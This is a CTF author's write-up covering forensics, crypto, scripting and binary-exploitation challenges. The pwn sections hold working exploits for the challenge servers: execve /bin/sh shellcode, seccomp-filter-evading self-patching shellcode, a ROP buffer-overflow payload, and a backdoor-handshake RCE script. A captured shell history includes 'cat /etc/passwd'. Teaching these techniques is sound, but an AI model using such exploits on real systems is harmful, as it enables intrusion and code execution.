# Welcome CTF 2023 -- Author's Writeups
Hello, Elma/caprinux here. Hope you guys enjoyed the CTF challenges this year. Here are some writeups that I made for some of the challenges
## Pi Master (miscellaneous)
tldr; pwntools scripting
> If you have attended the welcome tea session, I am sure that you are well prepared for our Nth digit of pi questions >:)
If we connect to the server, the instructions are apparent
> The first 6 digits of pi are "3.14159" whereby `3` is the 1st digit, `1` is the 2nd digit, `4` is the 3rd digit and so on.
Example: What are the 3 digits of pi starting from the 3rd digit?
Answer: 415
>
> You will have to do this for 314 times in 1 seconds.
Are you ready?
(y/n) >
All that we need to do is to write a pwntools script that parses the number of digits to be printed, and the index to start from. Regarding our PI digits, we can simply google and download a text file that has 1 million digits of pi [here](https://github.com/eneko/Pi).
I have added comments to the solution script and it should be self explanatory.
```python=
from pwn import *
# use regex for parsing
from re import findall
# get all digits of pi into a variable
with open("./Pi125MDP.txt", "r") as f:
PI = '3' + f.read()
# connect to the remote server and start the game
p = remote("34.87.186.254", 25555)
p.sendlineafter(b"> ", b"y")
for i in range(314):
# we parse for all numbers in the question given to us
qn = findall(r"(\d+)", p.recvuntilS(b"> "))
# now we know the length and offset to print
len = int(qn[0])
offset = int(qn[1])
# we can simply send the answer back
p.sendline(PI[offset-1:offset-1+len].encode())
# now we get our flag
p.interactive()
```
## Baby Cake (forenshits)
> Elma told me to cook something, so I did! Or did I? Maybe I baked a three tier cake instead...
>
> Try to use other tools as well, here one that might help: https://github.com/ragibson/Steganography
The challenge description hints at a 3-tier cake. We are given an image file to start off.
One of the most common tool that we run on image file is **exiftool** which extracts metadata about an image
```
➜ exiftool part1.jpg
ExifTool Version Number : 12.40
File Name : part1.jpg
Directory : .
File Size : 92 KiB
File Modification Date/Time : 2023:08:25 12:59:25+00:00
File Access Date/Time : 2023:08:25 12:59:29+00:00
File Inode Change Date/Time : 2023:08:25 12:59:25+00:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
Make : 67726579686174737b746834745f
X Resolution : 37
Y Resolution : 37
Resolution Unit : cm
Y Cb Cr Positioning : Centered
Comment : Check out some of my other works! https://tinyurl.com/y42zcvtm
Image Width : 1080
Image Height : 1080
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1080x1080
Megapixels : 1.2
```
As we can see, there are two interesting entries here.
```
Make : 67726579686174737b746834745f
Comment : Check out some of my other works! https://tinyurl.com/y42zcvtm
```
The first one looks like a hex encoded string and the second one leads to another image download.
We can decode the hex in [Cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=Njc3MjY1Nzk2ODYxNzQ3MzdiNzQ2ODM0NzQ1Zg) to obtain `greyhats{th4t_`.
As for the second image, we can run **binwalk** on it, to look for any suspicious files embedded within the image file.
```
➜ binwalk ./stage_2.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1200 x 1200, 8-bit/color RGB, non-interlaced
54 0x36 Zlib compressed data, default compression
1010210 0xF6A22 PNG image, 1536 x 960, 8-bit/color RGB, non-interlaced
1010301 0xF6A7D Zlib compressed data, compressed
```
By extracting the embedded image file using binwalk, we can obtain the third part of the flag.

Finally, using the tool provided in the description on the second image, we can retrieve the second part of the flag which was hidden via LSB steganography.
```
➜ stegolsb steglsb -r -i ./final_stage_2.png -o out.txt
Files read in 0.27s
10 bytes recovered in 0.00s
Output file written in 0.00s
➜ cat out.txt
w4s_much_
```
By combining all three parts, we get the full flag
`greyhats{th4t_w4s_much_b1g_c4k3}`
## Pee Dee Eff
> I was doing my homework and petting my cute cute cat, until it peed all over my homework >:(
>
> Not only does my homework has PEE stains, I am afraid some of the pages might have been stuck together and isn't showing up!
We are given a PDF that has 5 pages and none of the pages have the flag.
We can perform our PDF analysis using any [PDF parser](https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdf-parser.py) tool, or we can do it in notepad as well :P
In order to solve this challenge, it is recommended to understand how a PDF is parsed and the metadata that is stored inside of a PDF.
Here is my attempt to make it sound simple:
Essentially, PDF is made up of a series of **resources** of different types and one of the key type of resource is a `/Page`.
Near the end of the file, there is metadata that identifies the pages of a PDF.
```
/Type
/Pages
/Kids
[
5
0
R
14
0
R
21
0
R
34
0
R
41
0
R
]
/Count
5
>>
endobj
```
As you can see, there are 5 pages, and 5 resources -- 5, 14, 21, 34, 41.
This aligns with what we know so far, so it looks good. Let's keep looking around.
By looking through all the resources, we can find that there is one resource *(28 0 R)* that has a `/Type` of `/PeePage`. This is really suspicious and we can also notice that this resource is not referenced anywhere else in all the metadata.
```
28
0
obj
<<
/Type
/PeePage
```
This means that this resource has been tampered with, and possible removed from the list of pages. If we convert the `PeePage` back to a `Page`, and add it back to the list of pages:
```
/Type
/Pages
/Kids
[
5
0
R
14
0
R
21
0
R
28
0
R
34
0
R
41
0
R
]
/Count
6
>>
endobj
```
The flag will magically appear in the PDF again!
## Fix Me Lahh
> Say no to fake flags! But I forgot where the real one went :(
We are given a corrupted image file.
If we open the image in a hex editor, we can see that the first few bytes are overwritten.

Trivially, we can fix this by simply placing the JPG [magic bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) back in place

Afterwards, we can open the image

but we still do not have our flag.
By performing forensics on the dimensions of the file VS the file size, OR knowing that the meme usually has another panel below, we can tell that the dimensions of the image is tampered.
By increasing the height of the image by modifying the bytes at offset `0xA3` *(you can google for file specification for jpg)*, and changing the dimension from `250 x 500` to `500 x 500`, we can get the full flag.

## Backdoored!
> MISSION BRIEF FOR AGENT 1337:
>
>We have been tracking a malicious hacker, TACYERG, for a long time now and we finally have found a lead that might reveal their identity.
>
>We have identified a compromised computer where TACYERG has inflitrated via a backdoor, and we have managed to capture a network traffic of his infiltration.
>
>Can you follow the traces and find out what TACYERG is up to, and possibly find clues that might help us catch him?
We are given a PCAP file. We can open this PCAP file in wireshark and analyze the packets.
The more interesting packets show some RCE being done by **34.87.186.254** on **157.230.45.245** on port **25425**.

Apart from that, there is no other information that might hint us to get a flag.
If we analyze the communication between these two IP, we can identify how the connection is implemented and attempt to connect to the victim server on our own.
It seems to send 10 fixed 8 byte values, and then it receives 8 bytes from the server and echoes it back to the server to complete the connection. *(author note: this should not be guessy, since the pcap shows enough connections to make this conclusion)*
Finally it seems that RCE is accomplished by sending a fixed integer over to the server.
```python
from pwn import *
hands = [
0x124eac80fc0062b2,
0xc5be0fd1d3acaa67,
0x34dd2228a6a43282,
0x1159339b541e56f1,
0x70aca735b2bf7e6c,
0x526c90e12ddf390b,
0x98d85286c110b659,
0x7e1431f33ce72aaa,
0x5ff07e1e75f088e3,
0x760fe253bef08ed1
]
# p = process("./backdoor")
p = remote("localhost", 25425)
for x in hands:
p.send(p64(x))
p.recvuntil(b"\xef")
ball = p.recv(8)
p.send(ball)
p.recvuntil(b"\xef")
p.sendline(str(0xabcb).encode())
p.interactive()
```
This script allows us to get RCE on the victim computer.
```sh
$ ls -al
total 32
drwxrwxrwx 1 user user 4096 Aug 26 11:51 .
drwxr-xr-x 1 root root 4096 Aug 26 11:42 ..
-rw-r--r-- 1 root root 100 Aug 26 11:35 .bash_history
-rw-r--r-- 1 user user 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 root root 3797 Aug 26 11:35 .bashrc
-rw-r--r-- 1 user user 807 Jan 6 2022 .profile
-rw-r--r-- 1 root root 249 Aug 26 11:50 .vimrc
$ cat .bash_history
id
whoami
cat /etc/passwd
echo "echo 'TACYERG WAS HERE'" >> ~/.bashrc
vim /tmp/secret/.evil.sh
exit
```
By digging around, we can find command history that leads us to `/tmp/secret/.evil.sh` file.
```shell=
$ cat /tmp/secret/.evil.sh
# TACYERG SECRET CRYPTO MINER!!!
# hey there, you were too late >:) we have redacted the entire script below. long live TACYERG muahahah
THE SCRIPT IS NOW REDACTED MUAHAHAHAHAHAHAHAHAHA
```
It seems like something was redacted.
However, note that `vim` was used to possibly modify this file. Could we perhaps find a history of the file that was edited by `vim`?
If we look into the vim config at `~/.vimrc`
```
$ cat .vimrc
" default config copied off the internet
set rnu
set nu
set cursorline
set list
set tabstop=4
set shiftwidth=4
set ttyfast
set undofile
set undodir=/tmp/.vim/undo
set autoindent
set smarttab
set termguicolors
syntax on
filetype plugin indent on
```
It seems like `undofile` was set. This means that `vim` is able to undo the changes made to a file even after closing vim. This is done by storing `undo` metadata in `undodir` which is `/tmp/.vim/undo` in this case.
By looking into the undo directory, we find the undo file for the evil script and obtain the flag.
```
$ ls -al /tmp/.vim/undo
total 20
drwxr-xr-x 1 root root 4096 Aug 26 11:43 .
drwxr-xr-x 1 root root 4096 Aug 26 11:43 ..
-rw-r--r-- 1 root root 5137 Aug 26 11:42 ..evil.sh.un~
$ cat /tmp/.vim/undo/..evil.sh.un~
<truncated>greyhats{n1c3_w3_g0tt3m_ahahahahahhahaahahha}<truncated>
```
## Complete Me
> I was writing a program, but it was missing some code.
>
> Can you help me write the rest of the code?
This challenge provides us with the source code
```c
#include <stdlib.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdint.h>
int main() {
// ignore, buffering stuff
setbuf(stdin, 0);
setbuf(stdout, 0);
// allocates memory with rwx permissions
void (*print_flag)(void);
char* code = mmap(0, 0x1000, 7, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
print_flag = (void(*)(void))code;
printf("The flag is: ");
// takes input into rwx memory
fgets(code, 0x1000, stdin);
// runs input as code
print_flag();
}
```
This is a basic shellcoding challenge where players have to write assembly code to get a shell.
The easiest way to get a shell via assembly code is using the `execve` syscall executes a program, and pass the `/bin/sh` argument to spawn a shell.
We can use the following [syscall table](https://syscalls.w3challs.com/?arch=x86_64).
```python!
from pwn import *
# set architecture to x86_64
context.arch = 'amd64'
p = remote("34.87.186.254", 21238)
# refer to syscall table for syscall and args
# https://syscalls.w3challs.com/?arch=x86_64
p.sendline(asm("""
/* this is a block comment
execve syscall
rax = 0x3b
rdi = "/bin/sh"
rsi = 0
rdx = 0 */
mov rax, 0x3b
// push /bin/sh
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
mov rsi, 0
mov rdx, 0
syscall
"""))
# p.sendline(asm(shellcraft.sh()))
p.interactive()
```
## Secure Blob runner
This is a sequel to **Complete Me**.
> I was told that my previous version of my blob runner wasn't secure enough :(
>
> Maybe this time, after all the protections, I will get it right?
```c
#include <stdlib.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdint.h>
#include <seccomp.h>
int check(char* code) {
for (int i = 0; i < 0x1000; i += 1) {
// block our syscall bytes the LAZY way:)
if (code[i] == 0x0f || code[i] == 0x05 || code[i] == 0xcd || code[i] == 0x80)
return 1;
}
// install seccomp filters as extra security!!
// it shouldn't matter though, since syscall is blocked anyways
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
if (!ctx)
return 1;
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) < 0)
return 1;
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) < 0)
return 1;
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) < 0)
return 1;
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0) < 0)
return 1;
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0)
return 1;
seccomp_load(ctx);
}
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
void (*fptr)(void);
char* code = mmap(0, 0x1000, 7, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
fptr = (void(*)(void))code;
printf("Blob Runner> ");
fgets(code, 0x1000, stdin);
if (!check(code)) {
fptr();
} else {
printf("Bad Blob!\n");
}
}
```
The difference between this challenge and the previous is that our code is subjected to a `check()` function.
The `check()` function implements a seccomp that only allows 4 syscalls
- open
- read
- write
- exit
This is just sufficient for us to write a shellcode that opens and read the flag. However, the function also check for bytes that correspond with the `syscall` or `int 0x80` instruction.
This prevents us from directly inputting a syscall instructin in our input. We will have to patch the syscall at runtime.
My solution basiaclly transforms all the illegal bytes by decrementing it before sending it to the program, and then there will be some assembly code appended beforehand that increments the instruction to restore the syscall instructon.
Here is my solve script and the final piece of assembly code that is generated by the python script.
```python!
from pwn import *
def wrapper(sc):
bad_sc = bytearray(asm(sc))
good_sc = asm("mov r10, rax")
bad_offsets = []
for i in range(len(bad_sc)):
if bad_sc[i] in [0x05, 0x0f, 0x80, 0xcd, 0xa]:
bad_offsets.append(i)
bad_sc[i] -= 1
for b in bad_offsets:
good_sc += asm(f"inc byte ptr [r10+{b}]")
a = asm(f"add r10, {5+len(good_sc)}")
o = len(a) + len(good_sc)
q = 0
if o in [0x05, 0x0f, 0x80, 0xcd, 0xa]:
o += 1
q = 1
good_sc = b"\x90"*q + asm(f"add rax, {o}") + good_sc + bad_sc
return good_sc
context.terminal = ["tmux", "neww"]
context.binary = ELF("./app/chall")
p = remote("34.87.186.254", 25237)
# p = process("./app/chall")
sc = """
push 0x1010101 ^ 0x7478
xor dword ptr [rsp], 0x1010101
mov rax, 0x742e67616c662f2e
push rax
mov rdi, rsp
mov rax, 2
mov rsi, 0
mov rdx, 0
syscall
mov rdi, rax
mov rsi, r10
add rsi, 0xf00
mov rdx, 0x20
mov rax, 0
syscall
mov rdi, 1
mov rdx, 0x20
mov rax, 1
syscall
mov rax, 0x3c
mov rdi, 0
syscall
"""
asc = wrapper(sc)
print(disasm(asc))
# gdb.attach(p)
p.sendline(asc)
p.interactive()
"""
0: 48 83 c0 2b add rax, 0x2b
4: 49 89 c2 mov r10, rax
7: 41 fe 42 2f inc BYTE PTR [r10+0x2f]
b: 41 fe 42 30 inc BYTE PTR [r10+0x30]
f: 41 fe 42 3b inc BYTE PTR [r10+0x3b]
13: 41 fe 42 4c inc BYTE PTR [r10+0x4c]
17: 41 fe 42 4d inc BYTE PTR [r10+0x4d]
1b: 41 fe 42 63 inc BYTE PTR [r10+0x63]
1f: 41 fe 42 64 inc BYTE PTR [r10+0x64]
23: 41 fe 42 73 inc BYTE PTR [r10+0x73]
27: 41 fe 42 74 inc BYTE PTR [r10+0x74]
2b: 68 79 75 01 01 push 0x1017579
30: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101
37: 48 b8 2e 2f 66 6c 61 67 2e 74 movabs rax, 0x742e67616c662f2e
41: 50 push rax
42: 48 89 e7 mov rdi, rsp
45: 48 c7 c0 02 00 00 00 mov rax, 0x2
4c: 48 c7 c6 00 00 00 00 mov rsi, 0x0
53: 48 c7 c2 00 00 00 00 mov rdx, 0x0
5a: 0e .byte 0xe
5b: 04 48 add al, 0x48
5d: 89 c7 mov edi, eax
5f: 4c 89 d6 mov rsi, r10
62: 48 81 c6 00 0e 00 00 add rsi, 0xe00
69: 48 c7 c2 20 00 00 00 mov rdx, 0x20
70: 48 c7 c0 00 00 00 00 mov rax, 0x0
77: 0e .byte 0xe
78: 04 48 add al, 0x48
7a: c7 c7 01 00 00 00 mov edi, 0x1
80: 48 c7 c2 20 00 00 00 mov rdx, 0x20
87: 48 c7 c0 01 00 00 00 mov rax, 0x1
8e: 0e .byte 0xe
8f: 04 48 add al, 0x48
91: c7 c0 3c 00 00 00 mov eax, 0x3c
97: 48 c7 c7 00 00 00 00 mov rdi, 0x0
9e: 0e .byte 0xe
9f: 04 .byte 0x4
"""
```
## Late For School!!
> Oh no! I have 10 minutes to get to school, can you help me find the fastest way to get there?
>
> I can't be late again... I don't want to write sentences on the whiteboard again :(
Once again we are given the source. Since the source code is quite lengthy, I will only show the relevant parts here.
```clike!
void run() {
char run[0x200];
printf(MAG "%s\n"RESET, bed);
printf(YEL "The current time is " RED "08:50AM" YEL ", class starts at " RED "09:00AM" RESET ".\n");
printf(YEL "You have " RED "5 MINUTES" YEL " to get to school and you cannot afford to be " RED "late" RESET ".\n");
printf(YEL "Quick! Spam some " RED "A" RED " to make it to school in time!\n");
printf(GRN "\n\nRun! > " RESET);
scanf("%s", run);
}
```
In this function, we are given an input using the `scanf` function. However, it is prone to a buffer overflow since `%s` is used and it doesn't specify the maximim number of bytes to be read.
This gives us a buffer overflow.
We also identify a `win` function
```clike!
void __attribute((noreturn)) class(int book) {
char* flag = calloc(0x50, sizeof(char));
FILE *f = fopen("flag.txt", "r");
if (book != 0x13371337) {
failed_book();
}
fread(flag, 0x50, sizeof(char), f);
fclose(f);
printf(CYN"You took all the right shortcuts to school, and even brought the correct book to class!\n");
printf("For that, your teacher gave you a flag, "RED"%s"RESET".\n", flag);
exit(0);
}
```
As long as we call this function with `0x1337` as the argument, we will get our flag.
In order to do this, we must understand the calling convention of functions in x86_64.
Arguments to functions in linux x86_64 are stored in the respective registers in the following order
- RDI
- RSI
- RDX
- RCX
- R8
- R9
Since we want to call the function with 0x1337 as the first argument, we want `RDI = 0x1337`.
We can do this via [Return Oriented Programming](https://blog.caprinux.com/lawofpwn/rop/whatisrop), where we can use a `POP RDI` gadget to set the value of RDI before calling the function.
```python!
from pwn import *
context.binary = e = ELF("./app/chall")
# p = process("./chall")
p = remote("localhost", 21234)
# relevant gadgets found via `ROPgadget --binary ./chall`
# 0x00000000004014f4 : pop rdi ; nop ; pop rbp ; ret
pop_rdi_rbp = 0x4014f4
# relevant functions found via `nm chall`
# 0000000000401371 T class
class_ = 0x401371
payload = b"A"*520
payload += p64(pop_rdi_rbp)
payload += p64(0x13371337) # pop rdi value
payload += p64(0) # pop rbp value
payload += p64(class_) # return address
p.sendlineafter(b">", payload)
p.interactive()
```
## Filelen
> I'm new to C so I wrote a very simple program that finds the length of a file in centimeters. The program is so simple that nothing could go wrong :D
>
> Note: The flag.txt file can be found in the same directory as the executable.
The code is as follows
```clike!
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
long flag_len = 0;
// buffer stdin stdout
void init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
}
// measure length of a file
void measure(const char* name) {
FILE *f = fopen(name, "r");
if (f) {
fseek(f, 0, SEEK_END);
flag_len = ftell(f);
fclose(f);
}
}
// prompt for name
char* get_name() {
unsigned int size = 0;
printf("Btw what is your name?\n");
printf("Length: ");
scanf("%u", &size);
if (size <= 1 || size > 0x100) {
printf("Invalid name length!");
exit(0);
}
getchar();
char* name = malloc(size);
printf("Name: ");
read(0, name, size);
char* nl = strchr(name, 0xa);
if (nl)
*nl = 0x0;
return name;
}
int main() {
char file_name[0x50];
init();
// measure file
printf("Which file do you want to measure?\n> ");
read(0, file_name, 0x50);
char* nl = strchr(file_name, 0xa);
if (nl)
*nl = 0x0;
measure(file_name);
// get name
printf("The file is %ldcm long!\n\n", flag_len);
char* name = get_name();
printf("Goodbye %s!\n", name);
}
```
1. User is prompted for a filename
2. File is open via `fopen` and the length of the file is measured using `fseek` and `ftell`
3. The file is closed via `fclose` and the length of the file contents is printed
4. User is prompted for length of name
5. User is prompted for name of specified length
The interesting question for this challenge is, there is no obvious vulnerability. Even though we can open `flag.txt`, it seems to never be read from. How can we leak the flag?
Many participants leaked parts of the flag via the following behaviour
```
➜ ./chall
Which file do you want to measure?
> flag.txt
The file is 67cm long!
Btw what is your name?
Length: 2
Name: aa
Goodbye aaeyhats{th3_fl4g_w4s_frq
!
```
How did that work? Where did the flag come from? Here is a short explaination of what is going on behind the scenes.
1. When we call `fseek` on the file 'flag.txt', it actually copies the contents of 'flag.txt' into a allocated buffer on the heap under the hood
2. This memory is freed upon closing the file via `fclose`. Since the heap is meant to be efficient, it doesn't bother to clear the memory and it returns it to the memory allocater.
3. When you allocate a memory from the heap again, it happens to return you the same memory that was used for the flag. Since the memory wasn't cleared, the flag is still there.
4. Typically, if you set the length to `100`, we will have the entire flag in the buffer allocated for our name. However, if we put 'a' as our name and press the Enter key, it will read 'a\n' into the name buffer.
5. The program will replace the newline '\n' with '\x00'.
6. When the program tries to print the name, it stops on the '\x00' since it indicates the end of the string.
7. The solution is simply to send 'a' without pressing the Enter key (you can just press Ctrl+D to terminate the connection in this case).
```
➜ ./chall
Which file do you want to measure?
> flag.txt
The file is 67cm long!
Btw what is your name?
Length: 100
Name: aGoodbye areyhats{th3_fl4g_w4s_fr33_bu7_y0u_br0ught_1t_b4ck_bY_h34p_r3us3!}!
```
We can also write a script for it
```python!
from pwn import *
p = remote("34.87.186.254", 21235)
p.sendlineafter(b"> ", b"flag.txt")
p.sendlineafter(b"Length: ", b"100")
# IMPORTANT use sendafter instead of sendlineafter
p.sendafter(b"Name: ", b"a")
p.interactive()
```
## Puzzles
> Oh no! Everything is everywhere, and some things are missing :(.
>
> Can you help me to find my flag?
We are given the python code used to encrypt the flag
```python!
import secrets
import base64
def xor(a:bytes, b:bytes) -> bytes:
return bytes(i^j for i, j in zip(a, b))
with open("./flag.txt", "rb") as f:
flag = f.read().strip()
assert len(flag) == 40
pt = [flag[i:i+8] for i in range(0, len(flag), 8)]
ct = [None for _ in range(5)]
# if our key is securely random, our encryption is naturally secure!
key = secrets.token_bytes(8)
# encryption!
ct[0] = xor(xor(pt[0], key), pt[1])
ct[1] = xor(xor(pt[1], key), pt[2])
ct[2] = xor(xor(pt[2], key), pt[3])
ct[3] = xor(xor(pt[3], key), pt[4])
ct[4] = xor(xor(pt[4], key), pt[0])
print(base64.b64encode(b"".join(ct)))
# output: +hpPlyY9EZf7WVLdKgMI198cSt0gAyLmiE4Bgj19bqiwSRSkJixFtQ==
```
We know what `ct[0]` is since the flag format starts with `greyhats{`.
`ct[0] == "greyhats"`
We also know that XOR is able to cancel each other out.
We can manipulate some equations to the following
```
ct[0] = pt[0] ^ key ^ pt[1]
ct[1] = pt[1] ^ key ^ pt[2]
ct[0] ^ ct[1] = pt[0] ^ pt[2]
pt[2] = ct[0] ^ ct[1] ^ pt[0]
```
This gives us the third part of our flag.
In a similar fashion, we can calculate the remaining parts of the flag.
```python
import base64
from pwn import xor
enc = base64.b64decode("+hpPlyY9EZf7WVLdKgMI198cSt0gAyLmiE4Bgj19bqiwSRSkJixFtQ==")
e = [enc[i:i+8] for i in range(0, len(enc), 8)]
f = [None for _ in range(5)]
f[0] = b"greyhats"
f[2] = xor(xor(e[0], e[1]), f[0])
f[3] = xor(xor(e[3], e[4]), f[0])
f[4] = xor(xor(e[2], e[3]), f[2])
f[1] = xor(xor(e[1], e[2]), f[3])
print(b"".join(f).decode())
```
### Overall Remarks
Thanks to kestryix for helping me with many of these fantastic challenge ideas :)